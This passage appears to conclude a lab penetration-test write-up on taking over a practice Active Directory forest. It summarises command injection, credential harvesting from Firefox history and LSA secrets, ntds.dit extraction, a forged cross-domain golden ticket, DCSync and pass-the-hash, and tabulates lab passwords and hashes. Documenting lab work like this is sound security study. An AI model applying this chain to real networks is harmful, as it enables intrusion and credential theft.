│ EMAIL=cat /etc/passwd -> privilege:Admin@962 │
│ SSH as privilege -> sudo (ALL : ALL) ALL │
│ │
│ ip a -> ens32 (192.168.80.10) + ens34 (192.168.98.15) │
│ LinPEAS -> Firefox places.sqlite │
│ Found: [email protected] / User1@#$%6 │
│ │
│ Ligolo-ng tunnel (proxy.exe + ligolo-agent) │
│ Route: 192.168.98.0/24 -> ligolo interface (ifIndex 81) │
└────────────────────┬────────────────────────────────────────────────────┘
│
┌────────────────────┴────────────────────────────────────────────────────┐
│ INTERNAL NETWORK (192.168.98.0/24) │
│ │
│ Nmap: 4 hosts, 29 open ports total │
│ DC01 (192.168.98.2) - 12 ports - Parent DC (warfare.corp) │
│ Web (192.168.98.15) - 2 ports - Dual-homed Linux │
│ MGMT (192.168.98.30) - 3 ports - Member server (SMB signing off) │
│ CDC (192.168.98.120) - 12 ports - Child DC (child.warfare.corp) │
│ │
│ secretsdump (john) -> MGMT │
│ SAM: 4 hashes, DCC2: 2 cached creds, LSA: SNMPTRAP service │
│ Found: [email protected] / User4&*&* │
│ │
│ wmiexec (corpmngr) -> CDC │
│ ntdsutil IFM -> ntds.dit (32 MB) + SYSTEM (18 MB) │
│ Offline dump: 8 NTLM hashes, 18 Kerberos keys │
│ krbtgt AES-256: ad8c273289e4c511b4363c43c08f9a5aff06f8fe... │
│ │
│ lookupsid -> Child SID: S-1-5-21-3754860944-83624914-1883974761 │
│ Parent SID: S-1-5-21-3375883379-808943238-3239386119 │
│ │
│ ticketer.py -> Forge cross-domain TGT (corpmngr.ccache) │
│ getST.py -> CIFS/dc01.warfare.corp service ticket │
│ │
│ secretsdump (DRSUAPI/DCSync) -> DC01 │
│ warfare\Administrator NTLM: a2f7b77b62cd97161e18be2ffcfdfd60 │
│ │
│ psexec (Pass-the-Hash) -> NT AUTHORITY\SYSTEM on DC01 │
│ Windows Server 2019 (10.0.17763.3650) │
│ Lab complete. │
└─────────────────────────────────────────────────────────────────────────┘
Tools Used
- Nmap: Host discovery and port scanning across external and internal networks.
- BurpSuite: Intercepted
POSTrequests todashboard1.phpand exploited command injection. - LinPEAS: Automated Linux enumeration script locating
places.sqlite. - SQLite3: Queried
moz_placesto extract plaintext credentials. - Ligolo-ng: TUN interface routing
192.168.98.0/24through the web server. - Impacket
secretsdump.py: Dumped SAM, DCC2, LSA Secrets, and performed DRSUAPI DCSync. - Impacket
wmiexec.py: Semi-interactive command shell over WMI. - Impacket
lookupsid.py: Enumerated domain SIDs. - Impacket
ticketer.py: Forged cross-domain Kerberos Golden Tickets with extra SIDs. - Impacket
getST.py: Acquired Kerberos CIFS service tickets. - Impacket
psexec.py: Executed commands asNT AUTHORITY\SYSTEMusing Pass-the-Hash. - ntdsutil: Created IFM database snapshot backups.
Credentials Collected
| Account / Service | Type | Credential | Where Found |
|---|---|---|---|
privilege | Linux Local User | Admin@962 | /etc/passwd GECOS field |
[email protected] | Domain User | User1@#$%6 | Firefox places.sqlite history |
[email protected] | Domain User | User4&*&* | LSA Secret _SC_SNMPTRAP on MGMT |
krbtgt (child domain) | Kerberos Master | ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 | Offline NTDS.dit dump |
warfare\Administrator | Parent Domain Admin | a2f7b77b62cd97161e18be2ffcfdfd60 (NTLM) | DCSync against DC01 |
Machines Compromised
- Web Server (
192.168.80.10/192.168.98.15- Ubuntu 20.04): Root privileges via command injection indashboard1.php-> read/etc/passwd-> SSH login with sudo ALL privileges. - MGMT (
192.168.98.30- Windows Workstation): Local admin access via John’s domain credentials -> mountedC$share -> dumped LSA Secrets. - CDC (
192.168.98.120- Child Domain Controller): Domain Admin access viacorpmngrcredentials -> executedwmiexecshell -> created IFM backup -> extractedkrbtgtAES key. - DC01 (
192.168.98.2- Parent Domain Controller): Enterprise Admin access (NT AUTHORITY\SYSTEM) via forged cross-domain Kerberos ticket -> CIFS service ticket -> DCSync -> Pass-the-Hash withpsexec.
Read the original article on Medium.
Enjoy Reading This Article?
Here are some more articles you might like to read next: